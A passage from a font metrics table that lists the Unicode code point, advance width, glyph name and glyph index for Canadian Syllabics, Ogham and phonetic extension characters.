U 5150 ; WX 529 ; N uni141E ; G 1746
U 5151 ; WX 425 ; N uni141F ; G 1747
U 5152 ; WX 425 ; N uni1420 ; G 1748
U 5153 ; WX 395 ; N uni1421 ; G 1749
U 5154 ; WX 395 ; N uni1422 ; G 1750
U 5155 ; WX 395 ; N uni1423 ; G 1751
U 5156 ; WX 395 ; N uni1424 ; G 1752
U 5157 ; WX 564 ; N uni1425 ; G 1753
U 5158 ; WX 470 ; N uni1426 ; G 1754
U 5159 ; WX 310 ; N uni1427 ; G 1755
U 5160 ; WX 395 ; N uni1428 ; G 1756
U 5161 ; WX 395 ; N uni1429 ; G 1757
U 5162 ; WX 395 ; N uni142A ; G 1758
U 5163 ; WX 1213 ; N uni142B ; G 1759
U 5164 ; WX 986 ; N uni142C ; G 1760
U 5165 ; WX 1216 ; N uni142D ; G 1761
U 5166 ; WX 1297 ; N uni142E ; G 1762
U 5167 ; WX 774 ; N uni142F ; G 1763
U 5168 ; WX 774 ; N uni1430 ; G 1764
U 5169 ; WX 774 ; N uni1431 ; G 1765
U 5170 ; WX 774 ; N uni1432 ; G 1766
U 5171 ; WX 886 ; N uni1433 ; G 1767
U 5172 ; WX 886 ; N uni1434 ; G 1768
U 5173 ; WX 886 ; N uni1435 ; G 1769
U 5175 ; WX 886 ; N uni1437 ; G 1770
U 5176 ; WX 886 ; N uni1438 ; G 1771
U 5177 ; WX 886 ; N uni1439 ; G 1772
U 5178 ; WX 1018 ; N uni143A ; G 1773
U 5179 ; WX 1009 ; N uni143B ; G 1774
U 5180 ; WX 1018 ; N uni143C ; G 1775
U 5181 ; WX 1009 ; N uni143D ; G 1776
U 5182 ; WX 1018 ; N uni143E ; G 1777
U 5183 ; WX 1009 ; N uni143F ; G 1778
U 5184 ; WX 1149 ; N uni1440 ; G 1779
U 5185 ; WX 1140 ; N uni1441 ; G 1780
U 5186 ; WX 1149 ; N uni1442 ; G 1781
U 5187 ; WX 1140 ; N uni1443 ; G 1782
U 5188 ; WX 1149 ; N uni1444 ; G 1783
U 5189 ; WX 1142 ; N uni1445 ; G 1784
U 5190 ; WX 1149 ; N uni1446 ; G 1785
U 5191 ; WX 1142 ; N uni1447 ; G 1786
U 5192 ; WX 886 ; N uni1448 ; G 1787
U 5193 ; WX 576 ; N uni1449 ; G 1788
U 5194 ; WX 229 ; N uni144A ; G 1789
U 5196 ; WX 812 ; N uni144C ; G 1790
U 5197 ; WX 812 ; N uni144D ; G 1791
U 5198 ; WX 812 ; N uni144E ; G 1792
U 5199 ; WX 812 ; N uni144F ; G 1793
U 5200 ; WX 815 ; N uni1450 ; G 1794
U 5201 ; WX 815 ; N uni1451 ; G 1795
U 5202 ; WX 815 ; N uni1452 ; G 1796
U 5204 ; WX 815 ; N uni1454 ; G 1797
U 5205 ; WX 815 ; N uni1455 ; G 1798
U 5206 ; WX 815 ; N uni1456 ; G 1799
U 5207 ; WX 1056 ; N uni1457 ; G 1800
U 5208 ; WX 1048 ; N uni1458 ; G 1801
U 5209 ; WX 1056 ; N uni1459 ; G 1802
U 5210 ; WX 1048 ; N uni145A ; G 1803
U 5211 ; WX 1056 ; N uni145B ; G 1804
U 5212 ; WX 1048 ; N uni145C ; G 1805
U 5213 ; WX 1060 ; N uni145D ; G 1806
U 5214 ; WX 1054 ; N uni145E ; G 1807
U 5215 ; WX 1060 ; N uni145F ; G 1808
U 5216 ; WX 1054 ; N uni1460 ; G 1809
U 5217 ; WX 1060 ; N uni1461 ; G 1810
U 5218 ; WX 1052 ; N uni1462 ; G 1811
U 5219 ; WX 1060 ; N uni1463 ; G 1812
U 5220 ; WX 1052 ; N uni1464 ; G 1813
U 5221 ; WX 1060 ; N uni1465 ; G 1814
U 5222 ; WX 483 ; N uni1466 ; G 1815
U 5223 ; WX 1005 ; N uni1467 ; G 1816
U 5224 ; WX 1005 ; N uni1468 ; G 1817
U 5225 ; WX 1023 ; N uni1469 ; G 1818
U 5226 ; WX 1017 ; N uni146A ; G 1819
U 5227 ; WX 743 ; N uni146B ; G 1820
U 5228 ; WX 743 ; N uni146C ; G 1821
U 5229 ; WX 743 ; N uni146D ; G 1822
U 5230 ; WX 743 ; N uni146E ; G 1823
U 5231 ; WX 743 ; N uni146F ; G 1824
U 5232 ; WX 743 ; N uni1470 ; G 1825
U 5233 ; WX 743 ; N uni1471 ; G 1826
U 5234 ; WX 743 ; N uni1472 ; G 1827
U 5235 ; WX 743 ; N uni1473 ; G 1828
U 5236 ; WX 1029 ; N uni1474 ; G 1829
U 5237 ; WX 975 ; N uni1475 ; G 1830
U 5238 ; WX 980 ; N uni1476 ; G 1831
U 5239 ; WX 975 ; N uni1477 ; G 1832
U 5240 ; WX 980 ; N uni1478 ; G 1833
U 5241 ; WX 975 ; N uni1479 ; G 1834
U 5242 ; WX 1029 ; N uni147A ; G 1835
U 5243 ; WX 975 ; N uni147B ; G 1836
U 5244 ; WX 1029 ; N uni147C ; G 1837
U 5245 ; WX 975 ; N uni147D ; G 1838
U 5246 ; WX 980 ; N uni147E ; G 1839
U 5247 ; WX 975 ; N uni147F ; G 1840
U 5248 ; WX 980 ; N uni1480 ; G 1841
U 5249 ; WX 975 ; N uni1481 ; G 1842
U 5250 ; WX 980 ; N uni1482 ; G 1843
U 5251 ; WX 501 ; N uni1483 ; G 1844
U 5252 ; WX 501 ; N uni1484 ; G 1845
U 5253 ; WX 938 ; N uni1485 ; G 1846
U 5254 ; WX 938 ; N uni1486 ; G 1847
U 5255 ; WX 938 ; N uni1487 ; G 1848
U 5256 ; WX 938 ; N uni1488 ; G 1849
U 5257 ; WX 743 ; N uni1489 ; G 1850
U 5258 ; WX 743 ; N uni148A ; G 1851
U 5259 ; WX 743 ; N uni148B ; G 1852
U 5260 ; WX 743 ; N uni148C ; G 1853
U 5261 ; WX 743 ; N uni148D ; G 1854
U 5262 ; WX 743 ; N uni148E ; G 1855
U 5263 ; WX 743 ; N uni148F ; G 1856
U 5264 ; WX 743 ; N uni1490 ; G 1857
U 5265 ; WX 743 ; N uni1491 ; G 1858
U 5266 ; WX 1029 ; N uni1492 ; G 1859
U 5267 ; WX 975 ; N uni1493 ; G 1860
U 5268 ; WX 1029 ; N uni1494 ; G 1861
U 5269 ; WX 975 ; N uni1495 ; G 1862
U 5270 ; WX 1029 ; N uni1496 ; G 1863
U 5271 ; WX 975 ; N uni1497 ; G 1864
U 5272 ; WX 1029 ; N uni1498 ; G 1865
U 5273 ; WX 975 ; N uni1499 ; G 1866
U 5274 ; WX 1029 ; N uni149A ; G 1867
U 5275 ; WX 975 ; N uni149B ; G 1868
U 5276 ; WX 1029 ; N uni149C ; G 1869
U 5277 ; WX 975 ; N uni149D ; G 1870
U 5278 ; WX 1029 ; N uni149E ; G 1871
U 5279 ; WX 975 ; N uni149F ; G 1872
U 5280 ; WX 1029 ; N uni14A0 ; G 1873
U 5281 ; WX 501 ; N uni14A1 ; G 1874
U 5282 ; WX 501 ; N uni14A2 ; G 1875
U 5283 ; WX 626 ; N uni14A3 ; G 1876
U 5284 ; WX 626 ; N uni14A4 ; G 1877
U 5285 ; WX 626 ; N uni14A5 ; G 1878
U 5286 ; WX 626 ; N uni14A6 ; G 1879
U 5287 ; WX 626 ; N uni14A7 ; G 1880
U 5288 ; WX 626 ; N uni14A8 ; G 1881
U 5289 ; WX 626 ; N uni14A9 ; G 1882
U 5290 ; WX 626 ; N uni14AA ; G 1883
U 5291 ; WX 626 ; N uni14AB ; G 1884
U 5292 ; WX 881 ; N uni14AC ; G 1885
U 5293 ; WX 854 ; N uni14AD ; G 1886
U 5294 ; WX 863 ; N uni14AE ; G 1887
U 5295 ; WX 874 ; N uni14AF ; G 1888
U 5296 ; WX 863 ; N uni14B0 ; G 1889
U 5297 ; WX 874 ; N uni14B1 ; G 1890
U 5298 ; WX 881 ; N uni14B2 ; G 1891
U 5299 ; WX 874 ; N uni14B3 ; G 1892
U 5300 ; WX 881 ; N uni14B4 ; G 1893
U 5301 ; WX 874 ; N uni14B5 ; G 1894
U 5302 ; WX 863 ; N uni14B6 ; G 1895
U 5303 ; WX 874 ; N uni14B7 ; G 1896
U 5304 ; WX 863 ; N uni14B8 ; G 1897
U 5305 ; WX 874 ; N uni14B9 ; G 1898
U 5306 ; WX 863 ; N uni14BA ; G 1899
U 5307 ; WX 436 ; N uni14BB ; G 1900
U 5308 ; WX 548 ; N uni14BC ; G 1901
U 5309 ; WX 436 ; N uni14BD ; G 1902
U 5312 ; WX 988 ; N uni14C0 ; G 1903
U 5313 ; WX 988 ; N uni14C1 ; G 1904
U 5314 ; WX 988 ; N uni14C2 ; G 1905
U 5315 ; WX 988 ; N uni14C3 ; G 1906
U 5316 ; WX 931 ; N uni14C4 ; G 1907
U 5317 ; WX 931 ; N uni14C5 ; G 1908
U 5318 ; WX 931 ; N uni14C6 ; G 1909
U 5319 ; WX 931 ; N uni14C7 ; G 1910
U 5320 ; WX 931 ; N uni14C8 ; G 1911
U 5321 ; WX 1238 ; N uni14C9 ; G 1912
U 5322 ; WX 1247 ; N uni14CA ; G 1913
U 5323 ; WX 1200 ; N uni14CB ; G 1914
U 5324 ; WX 1228 ; N uni14CC ; G 1915
U 5325 ; WX 1200 ; N uni14CD ; G 1916
U 5326 ; WX 1228 ; N uni14CE ; G 1917
U 5327 ; WX 931 ; N uni14CF ; G 1918
U 5328 ; WX 660 ; N uni14D0 ; G 1919
U 5329 ; WX 497 ; N uni14D1 ; G 1920
U 5330 ; WX 660 ; N uni14D2 ; G 1921
U 5331 ; WX 988 ; N uni14D3 ; G 1922
U 5332 ; WX 988 ; N uni14D4 ; G 1923
U 5333 ; WX 988 ; N uni14D5 ; G 1924
U 5334 ; WX 988 ; N uni14D6 ; G 1925
U 5335 ; WX 931 ; N uni14D7 ; G 1926
U 5336 ; WX 931 ; N uni14D8 ; G 1927
U 5337 ; WX 931 ; N uni14D9 ; G 1928
U 5338 ; WX 931 ; N uni14DA ; G 1929
U 5339 ; WX 931 ; N uni14DB ; G 1930
U 5340 ; WX 1231 ; N uni14DC ; G 1931
U 5341 ; WX 1247 ; N uni14DD ; G 1932
U 5342 ; WX 1283 ; N uni14DE ; G 1933
U 5343 ; WX 1228 ; N uni14DF ; G 1934
U 5344 ; WX 1283 ; N uni14E0 ; G 1935
U 5345 ; WX 1228 ; N uni14E1 ; G 1936
U 5346 ; WX 1228 ; N uni14E2 ; G 1937
U 5347 ; WX 1214 ; N uni14E3 ; G 1938
U 5348 ; WX 1228 ; N uni14E4 ; G 1939
U 5349 ; WX 1214 ; N uni14E5 ; G 1940
U 5350 ; WX 1283 ; N uni14E6 ; G 1941
U 5351 ; WX 1228 ; N uni14E7 ; G 1942
U 5352 ; WX 1283 ; N uni14E8 ; G 1943
U 5353 ; WX 1228 ; N uni14E9 ; G 1944
U 5354 ; WX 660 ; N uni14EA ; G 1945
U 5356 ; WX 886 ; N uni14EC ; G 1946
U 5357 ; WX 730 ; N uni14ED ; G 1947
U 5358 ; WX 730 ; N uni14EE ; G 1948
U 5359 ; WX 730 ; N uni14EF ; G 1949
U 5360 ; WX 730 ; N uni14F0 ; G 1950
U 5361 ; WX 730 ; N uni14F1 ; G 1951
U 5362 ; WX 730 ; N uni14F2 ; G 1952
U 5363 ; WX 730 ; N uni14F3 ; G 1953
U 5364 ; WX 730 ; N uni14F4 ; G 1954
U 5365 ; WX 730 ; N uni14F5 ; G 1955
U 5366 ; WX 998 ; N uni14F6 ; G 1956
U 5367 ; WX 958 ; N uni14F7 ; G 1957
U 5368 ; WX 967 ; N uni14F8 ; G 1958
U 5369 ; WX 989 ; N uni14F9 ; G 1959
U 5370 ; WX 967 ; N uni14FA ; G 1960
U 5371 ; WX 989 ; N uni14FB ; G 1961
U 5372 ; WX 998 ; N uni14FC ; G 1962
U 5373 ; WX 958 ; N uni14FD ; G 1963
U 5374 ; WX 998 ; N uni14FE ; G 1964
U 5375 ; WX 958 ; N uni14FF ; G 1965
U 5376 ; WX 967 ; N uni1500 ; G 1966
U 5377 ; WX 989 ; N uni1501 ; G 1967
U 5378 ; WX 967 ; N uni1502 ; G 1968
U 5379 ; WX 989 ; N uni1503 ; G 1969
U 5380 ; WX 967 ; N uni1504 ; G 1970
U 5381 ; WX 493 ; N uni1505 ; G 1971
U 5382 ; WX 460 ; N uni1506 ; G 1972
U 5383 ; WX 493 ; N uni1507 ; G 1973
U 5392 ; WX 923 ; N uni1510 ; G 1974
U 5393 ; WX 923 ; N uni1511 ; G 1975
U 5394 ; WX 923 ; N uni1512 ; G 1976
U 5395 ; WX 1136 ; N uni1513 ; G 1977
U 5396 ; WX 1136 ; N uni1514 ; G 1978
U 5397 ; WX 1136 ; N uni1515 ; G 1979
U 5398 ; WX 1136 ; N uni1516 ; G 1980
U 5399 ; WX 1209 ; N uni1517 ; G 1981
U 5400 ; WX 1202 ; N uni1518 ; G 1982
U 5401 ; WX 1209 ; N uni1519 ; G 1983
U 5402 ; WX 1202 ; N uni151A ; G 1984
U 5403 ; WX 1209 ; N uni151B ; G 1985
U 5404 ; WX 1202 ; N uni151C ; G 1986
U 5405 ; WX 1431 ; N uni151D ; G 1987
U 5406 ; WX 1420 ; N uni151E ; G 1988
U 5407 ; WX 1431 ; N uni151F ; G 1989
U 5408 ; WX 1420 ; N uni1520 ; G 1990
U 5409 ; WX 1431 ; N uni1521 ; G 1991
U 5410 ; WX 1420 ; N uni1522 ; G 1992
U 5411 ; WX 1431 ; N uni1523 ; G 1993
U 5412 ; WX 1420 ; N uni1524 ; G 1994
U 5413 ; WX 746 ; N uni1525 ; G 1995
U 5414 ; WX 776 ; N uni1526 ; G 1996
U 5415 ; WX 776 ; N uni1527 ; G 1997
U 5416 ; WX 776 ; N uni1528 ; G 1998
U 5417 ; WX 776 ; N uni1529 ; G 1999
U 5418 ; WX 776 ; N uni152A ; G 2000
U 5419 ; WX 776 ; N uni152B ; G 2001
U 5420 ; WX 776 ; N uni152C ; G 2002
U 5421 ; WX 776 ; N uni152D ; G 2003
U 5422 ; WX 776 ; N uni152E ; G 2004
U 5423 ; WX 1003 ; N uni152F ; G 2005
U 5424 ; WX 1003 ; N uni1530 ; G 2006
U 5425 ; WX 1013 ; N uni1531 ; G 2007
U 5426 ; WX 996 ; N uni1532 ; G 2008
U 5427 ; WX 1013 ; N uni1533 ; G 2009
U 5428 ; WX 996 ; N uni1534 ; G 2010
U 5429 ; WX 1003 ; N uni1535 ; G 2011
U 5430 ; WX 1003 ; N uni1536 ; G 2012
U 5431 ; WX 1003 ; N uni1537 ; G 2013
U 5432 ; WX 1003 ; N uni1538 ; G 2014
U 5433 ; WX 1013 ; N uni1539 ; G 2015
U 5434 ; WX 996 ; N uni153A ; G 2016
U 5435 ; WX 1013 ; N uni153B ; G 2017
U 5436 ; WX 996 ; N uni153C ; G 2018
U 5437 ; WX 1013 ; N uni153D ; G 2019
U 5438 ; WX 495 ; N uni153E ; G 2020
U 5440 ; WX 395 ; N uni1540 ; G 2021
U 5441 ; WX 510 ; N uni1541 ; G 2022
U 5442 ; WX 1033 ; N uni1542 ; G 2023
U 5443 ; WX 1033 ; N uni1543 ; G 2024
U 5444 ; WX 976 ; N uni1544 ; G 2025
U 5445 ; WX 976 ; N uni1545 ; G 2026
U 5446 ; WX 976 ; N uni1546 ; G 2027
U 5447 ; WX 976 ; N uni1547 ; G 2028
U 5448 ; WX 733 ; N uni1548 ; G 2029
U 5449 ; WX 733 ; N uni1549 ; G 2030
U 5450 ; WX 733 ; N uni154A ; G 2031
U 5451 ; WX 733 ; N uni154B ; G 2032
U 5452 ; WX 733 ; N uni154C ; G 2033
U 5453 ; WX 733 ; N uni154D ; G 2034
U 5454 ; WX 1003 ; N uni154E ; G 2035
U 5455 ; WX 959 ; N uni154F ; G 2036
U 5456 ; WX 495 ; N uni1550 ; G 2037
U 5458 ; WX 886 ; N uni1552 ; G 2038
U 5459 ; WX 774 ; N uni1553 ; G 2039
U 5460 ; WX 774 ; N uni1554 ; G 2040
U 5461 ; WX 774 ; N uni1555 ; G 2041
U 5462 ; WX 774 ; N uni1556 ; G 2042
U 5463 ; WX 928 ; N uni1557 ; G 2043
U 5464 ; WX 928 ; N uni1558 ; G 2044
U 5465 ; WX 928 ; N uni1559 ; G 2045
U 5466 ; WX 928 ; N uni155A ; G 2046
U 5467 ; WX 1172 ; N uni155B ; G 2047
U 5468 ; WX 1142 ; N uni155C ; G 2048
U 5469 ; WX 602 ; N uni155D ; G 2049
U 5470 ; WX 812 ; N uni155E ; G 2050
U 5471 ; WX 812 ; N uni155F ; G 2051
U 5472 ; WX 812 ; N uni1560 ; G 2052
U 5473 ; WX 812 ; N uni1561 ; G 2053
U 5474 ; WX 812 ; N uni1562 ; G 2054
U 5475 ; WX 812 ; N uni1563 ; G 2055
U 5476 ; WX 815 ; N uni1564 ; G 2056
U 5477 ; WX 815 ; N uni1565 ; G 2057
U 5478 ; WX 815 ; N uni1566 ; G 2058
U 5479 ; WX 815 ; N uni1567 ; G 2059
U 5480 ; WX 1060 ; N uni1568 ; G 2060
U 5481 ; WX 1052 ; N uni1569 ; G 2061
U 5482 ; WX 548 ; N uni156A ; G 2062
U 5492 ; WX 977 ; N uni1574 ; G 2063
U 5493 ; WX 977 ; N uni1575 ; G 2064
U 5494 ; WX 977 ; N uni1576 ; G 2065
U 5495 ; WX 977 ; N uni1577 ; G 2066
U 5496 ; WX 977 ; N uni1578 ; G 2067
U 5497 ; WX 977 ; N uni1579 ; G 2068
U 5498 ; WX 977 ; N uni157A ; G 2069
U 5499 ; WX 618 ; N uni157B ; G 2070
U 5500 ; WX 837 ; N uni157C ; G 2071
U 5501 ; WX 510 ; N uni157D ; G 2072
U 5502 ; WX 1238 ; N uni157E ; G 2073
U 5503 ; WX 1238 ; N uni157F ; G 2074
U 5504 ; WX 1238 ; N uni1580 ; G 2075
U 5505 ; WX 1238 ; N uni1581 ; G 2076
U 5506 ; WX 1238 ; N uni1582 ; G 2077
U 5507 ; WX 1238 ; N uni1583 ; G 2078
U 5508 ; WX 1238 ; N uni1584 ; G 2079
U 5509 ; WX 989 ; N uni1585 ; G 2080
U 5514 ; WX 977 ; N uni158A ; G 2081
U 5515 ; WX 977 ; N uni158B ; G 2082
U 5516 ; WX 977 ; N uni158C ; G 2083
U 5517 ; WX 977 ; N uni158D ; G 2084
U 5518 ; WX 1591 ; N uni158E ; G 2085
U 5519 ; WX 1591 ; N uni158F ; G 2086
U 5520 ; WX 1591 ; N uni1590 ; G 2087
U 5521 ; WX 1295 ; N uni1591 ; G 2088
U 5522 ; WX 1295 ; N uni1592 ; G 2089
U 5523 ; WX 1591 ; N uni1593 ; G 2090
U 5524 ; WX 1591 ; N uni1594 ; G 2091
U 5525 ; WX 848 ; N uni1595 ; G 2092
U 5526 ; WX 1273 ; N uni1596 ; G 2093
U 5536 ; WX 988 ; N uni15A0 ; G 2094
U 5537 ; WX 988 ; N uni15A1 ; G 2095
U 5538 ; WX 931 ; N uni15A2 ; G 2096
U 5539 ; WX 931 ; N uni15A3 ; G 2097
U 5540 ; WX 931 ; N uni15A4 ; G 2098
U 5541 ; WX 931 ; N uni15A5 ; G 2099
U 5542 ; WX 660 ; N uni15A6 ; G 2100
U 5543 ; WX 776 ; N uni15A7 ; G 2101
U 5544 ; WX 776 ; N uni15A8 ; G 2102
U 5545 ; WX 776 ; N uni15A9 ; G 2103
U 5546 ; WX 776 ; N uni15AA ; G 2104
U 5547 ; WX 776 ; N uni15AB ; G 2105
U 5548 ; WX 776 ; N uni15AC ; G 2106
U 5549 ; WX 776 ; N uni15AD ; G 2107
U 5550 ; WX 495 ; N uni15AE ; G 2108
U 5551 ; WX 743 ; N uni15AF ; G 2109
U 5598 ; WX 830 ; N uni15DE ; G 2110
U 5601 ; WX 830 ; N uni15E1 ; G 2111
U 5702 ; WX 496 ; N uni1646 ; G 2112
U 5703 ; WX 496 ; N uni1647 ; G 2113
U 5742 ; WX 413 ; N uni166E ; G 2114
U 5743 ; WX 1238 ; N uni166F ; G 2115
U 5744 ; WX 1591 ; N uni1670 ; G 2116
U 5745 ; WX 2016 ; N uni1671 ; G 2117
U 5746 ; WX 2016 ; N uni1672 ; G 2118
U 5747 ; WX 1720 ; N uni1673 ; G 2119
U 5748 ; WX 1678 ; N uni1674 ; G 2120
U 5749 ; WX 2016 ; N uni1675 ; G 2121
U 5750 ; WX 2016 ; N uni1676 ; G 2122
U 5760 ; WX 543 ; N uni1680 ; G 2123
U 5761 ; WX 637 ; N uni1681 ; G 2124
U 5762 ; WX 945 ; N uni1682 ; G 2125
U 5763 ; WX 1254 ; N uni1683 ; G 2126
U 5764 ; WX 1563 ; N uni1684 ; G 2127
U 5765 ; WX 1871 ; N uni1685 ; G 2128
U 5766 ; WX 627 ; N uni1686 ; G 2129
U 5767 ; WX 936 ; N uni1687 ; G 2130
U 5768 ; WX 1254 ; N uni1688 ; G 2131
U 5769 ; WX 1559 ; N uni1689 ; G 2132
U 5770 ; WX 1871 ; N uni168A ; G 2133
U 5771 ; WX 569 ; N uni168B ; G 2134
U 5772 ; WX 877 ; N uni168C ; G 2135
U 5773 ; WX 1187 ; N uni168D ; G 2136
U 5774 ; WX 1497 ; N uni168E ; G 2137
U 5775 ; WX 1807 ; N uni168F ; G 2138
U 5776 ; WX 637 ; N uni1690 ; G 2139
U 5777 ; WX 945 ; N uni1691 ; G 2140
U 5778 ; WX 1240 ; N uni1692 ; G 2141
U 5779 ; WX 1555 ; N uni1693 ; G 2142
U 5780 ; WX 1871 ; N uni1694 ; G 2143
U 5781 ; WX 569 ; N uni1695 ; G 2144
U 5782 ; WX 569 ; N uni1696 ; G 2145
U 5783 ; WX 789 ; N uni1697 ; G 2146
U 5784 ; WX 1234 ; N uni1698 ; G 2147
U 5785 ; WX 1559 ; N uni1699 ; G 2148
U 5786 ; WX 740 ; N uni169A ; G 2149
U 5787 ; WX 638 ; N uni169B ; G 2150
U 5788 ; WX 638 ; N uni169C ; G 2151
U 7424 ; WX 652 ; N uni1D00 ; G 2152
U 7425 ; WX 833 ; N uni1D01 ; G 2153
U 7426 ; WX 1048 ; N uni1D02 ; G 2154
U 7427 ; WX 608 ; N uni1D03 ; G 2155
U 7428 ; WX 593 ; N uni1D04 ; G 2156
U 7429 ; WX 676 ; N uni1D05 ; G 2157
U 7430 ; WX 676 ; N uni1D06 ; G 2158
U 7431 ; WX 559 ; N uni1D07 ; G 2159
U 7432 ; WX 557 ; N uni1D08 ; G 2160
U 7433 ; WX 343 ; N uni1D09 ; G 2161
U 7434 ; WX 494 ; N uni1D0A ; G 2162
U 7435 ; WX 665 ; N uni1D0B ; G 2163
U 7436 ; WX 539 ; N uni1D0C ; G 2164
U 7437 ; WX 817 ; N uni1D0D ; G 2165
U 7438 ; WX 701 ; N uni1D0E ; G 2166
U 7439 ; WX 687 ; N uni1D0F ; G 2167
U 7440 ; WX 593 ; N uni1D10 ; G 2168
U 7441 ; WX 660 ; N uni1D11 ; G 2169
U 7442 ; WX 660 ; N uni1D12 ; G 2170
U 7443 ; WX 660 ; N uni1D13 ; G 2171
U 7444 ; WX 1094 ; N uni1D14 ; G 2172
U 7446 ; WX 687 ; N uni1D16 ; G 2173
U 7447 ; WX 687 ; N uni1D17 ; G 2174
U 7448 ; WX 556 ; N uni1D18 ; G 2175
U 7449 ; WX 642 ; N uni1D19 ; G 2176
U 7450 ; WX 642 ; N uni1D1A ; G 2177
U 7451 ; WX 580 ; N uni1D1B ; G 2178
U 7452 ; WX 634 ; N uni1D1C ; G 2179
U 7453 ; WX 737 ; N uni1D1D ; G 2180
U 7454 ; WX 948 ; N uni1D1E ; G 2181
U 7455 ; WX 695 ; N uni1D1F ; G 2182
U 7456 ; WX 652 ; N uni1D20 ; G 2183
U 7457 ; WX 924 ; N uni1D21 ; G 2184
U 7458 ; WX 582 ; N uni1D22 ; G 2185
U 7459 ; WX 646 ; N uni1D23 ; G 2186
U 7462 ; WX 539 ; N uni1D26 ; G 2187
U 7463 ; WX 652 ; N uni1D27 ; G 2188
U 7464 ; WX 691 ; N uni1D28 ; G 2189
U 7465 ; WX 556 ; N uni1D29 ; G 2190
U 7466 ; WX 781 ; N uni1D2A ; G 2191
U 7467 ; WX 732 ; N uni1D2B ; G 2192
U 7468 ; WX 487 ; N uni1D2C ; G 2193
U 7469 ; WX 683 ; N uni1D2D ; G 2194
U 7470 ; WX 480 ; N uni1D2E ; G 2195
U 7472 ; WX 523 ; N uni1D30 ; G 2196
U 7473 ; WX 430 ; N uni1D31 ; G 2197
U 7474 ; WX 430 ; N uni1D32 ; G 2198
U 7475 ; WX 517 ; N uni1D33 ; G 2199
U 7476 ; WX 527 ; N uni1D34 ; G 2200
U 7477 ; WX 234 ; N uni1D35 ; G 2201
U 7478 ; WX 234 ; N uni1D36 ; G 2202
U 7479 ; WX 488 ; N uni1D37 ; G 2203
U 7480 ; WX 401 ; N uni1D38 ; G 2204
U 7481 ; WX 626 ; N uni1D39 ; G 2205
U 7482 ; WX 527 ; N uni1D3A ; G 2206
U 7483 ; WX 527 ; N uni1D3B ; G 2207
U 7484 ; WX 535 ; N uni1D3C ; G 2208
U 7485 ; WX 509 ; N uni1D3D ; G 2209
U 7486 ; WX 461 ; N uni1D3E ; G 2210
U 7487 ; WX 485 ; N uni1D3F ; G 2211
U 7488 ; WX 430 ; N uni1D40 ; G 2212
U 7489 ; WX 511 ; N uni1D41 ; G 2213
U 7490 ; WX 695 ; N uni1D42 ; G 2214
U 7491 ; WX 458 ; N uni1D43 ; G 2215
U 7492 ; WX 458 ; N uni1D44 ; G 2216
U 7493 ; WX 479 ; N uni1D45 ; G 2217
U 7494 ; WX 712 ; N uni1D46 ; G 2218
U 7495 ; WX 479 ; N uni1D47 ; G 2219
U 7496 ; WX 479 ; N uni1D48 ; G 2220
U 7497 ; WX 479 ; N uni1D49 ; G 2221
U 7498 ; WX 479 ; N uni1D4A ; G 2222
U 7499 ; WX 386 ; N uni1D4B ; G 2223
U 7500 ; WX 386 ; N uni1D4C ; G 2224
U 7501 ; WX 479 ; N uni1D4D ; G 2225
U 7502 ; WX 219 ; N uni1D4E ; G 2226
U 7503 ; WX 487 ; N uni1D4F ; G 2227
U 7504 ; WX 664 ; N uni1D50 ; G 2228
U 7505 ; WX 456 ; N uni1D51 ; G 2229
U 7506 ; WX 488 ; N uni1D52 ; G 2230
U 7507 ; WX 414 ; N uni1D53 ; G 2231
U 7508 ; WX 488 ; N uni1D54 ; G 2232
U 7509 ; WX 488 ; N uni1D55 ; G 2233
U 7510 ; WX 479 ; N uni1D56 ; G 2234
U 7511 ; WX 388 ; N uni1D57 ; G 2235
U 7512 ; WX 456 ; N uni1D58 ; G 2236
U 7513 ; WX 462 ; N uni1D59 ; G 2237
U 7514 ; WX 664 ; N uni1D5A ; G 2238
U 7515 ; WX 501 ; N uni1D5B ; G 2239
U 7517 ; WX 451 ; N uni1D5D ; G 2240
U 7518 ; WX 429 ; N uni1D5E ; G 2241
U 7519 ; WX 433 ; N uni1D5F ; G 2242
U 7520 ; WX 493 ; N uni1D60 ; G 2243
U 7521 ; WX 406 ; N uni1D61 ; G 2244
U 7522 ; WX 219 ; N uni1D62 ; G 2245
U 7523 ; WX 315 ; N uni1D63 ; G 2246
U 7524 ; WX 456 ; N uni1D64 ; G 2247
U 7525 ; WX 501 ; N uni1D65 ; G 2248
U 7526 ; WX 451 ; N uni1D66 ; G 2249
U 7527 ; WX 429 ; N uni1D67 ; G 2250
U 7528 ; WX 451 ; N uni1D68 ; G 2251
U 7529 ; WX 493 ; N uni1D69 ; G 2252
U 7530 ; WX 406 ; N uni1D6A ; G 2253
U 7543 ; WX 716 ; N uni1D77 ; G 2254
U 7544 ; WX 527 ; N uni1D78 ; G 2255
U 7547 ; WX 545 ; N uni1D7B ; G 2256
U 7549 ; WX 747 ; N uni1D7D ; G 2257
U 7557 ; WX 514 ; N uni1D85 ; G 2258
U 7579 ; WX 479 ; N uni1D9B ; G 2259
U 7580 ; WX 414 ; N uni1D9C ; G 2260
U 7581 ; WX 414 ; N uni1D9D ; G 2261
U 7582 ; WX 488 ; N uni1D9E ; G 2262
U 7583 ; WX 386 ; N uni1D9F ; G 2263
U 7584 ; WX 377 ; N uni1DA0 ; G 2264
U 7585 ; WX 348 ; N uni1DA1 ; G 2265
U 7586 ; WX 479 ; N uni1DA2 ; G 2266
U 7587 ; WX 456 ; N uni1DA3 ; G 2267
U 7588 ; WX 347 ; N uni1DA4 ; G 2268
U 7589 ; WX 281 ; N uni1DA5 ; G 2269
U 7590 ; WX 347 ; N uni1DA6 ; G 2270
U 7591 ; WX 347 ; N uni1DA7 ; G 2271
U 7592 ; WX 431 ; N uni1DA8 ; G 2272
U 7593 ; WX 326 ; N uni1DA9 ; G 2273
U 7594 ; WX 330 ; N uni1DAA ; G 2274
U 7595 ; WX 370 ; N uni1DAB ; G 2275
U 7596 ; WX 664 ; N uni1DAC ; G 2276
U 7597 ; WX 664 ; N uni1DAD ; G 2277
U 7598 ; WX 562 ; N uni1DAE ; G 2278
U 7599 ; WX 562 ; N uni1DAF ; G 2279
U 7600 ; WX 448 ; N uni1DB0 ; G 2280
U 7601 ; WX 488 ; N uni1DB1 ; G 2281
U 7602 ; WX 542 ; N uni1DB2 ; G 2282
U 7603 ; WX 422 ; N uni1DB3 ; G 2283
U 7604 ; WX 396 ; N uni1DB4 ; G 2284
U 7605 ; WX 388 ; N uni1DB5 ; G 2285
U 7606 ; WX 583 ; N uni1DB6 ; G 2286
U 7607 ; WX 494 ; N uni1DB7 ; G 2287
U 7608 ; WX 399 ; N uni1DB8 ; G 2288
U 7609 ; WX 451 ; N uni1DB9 ; G 2289
U 7610 ; WX 501 ; N uni1DBA ; G 2290
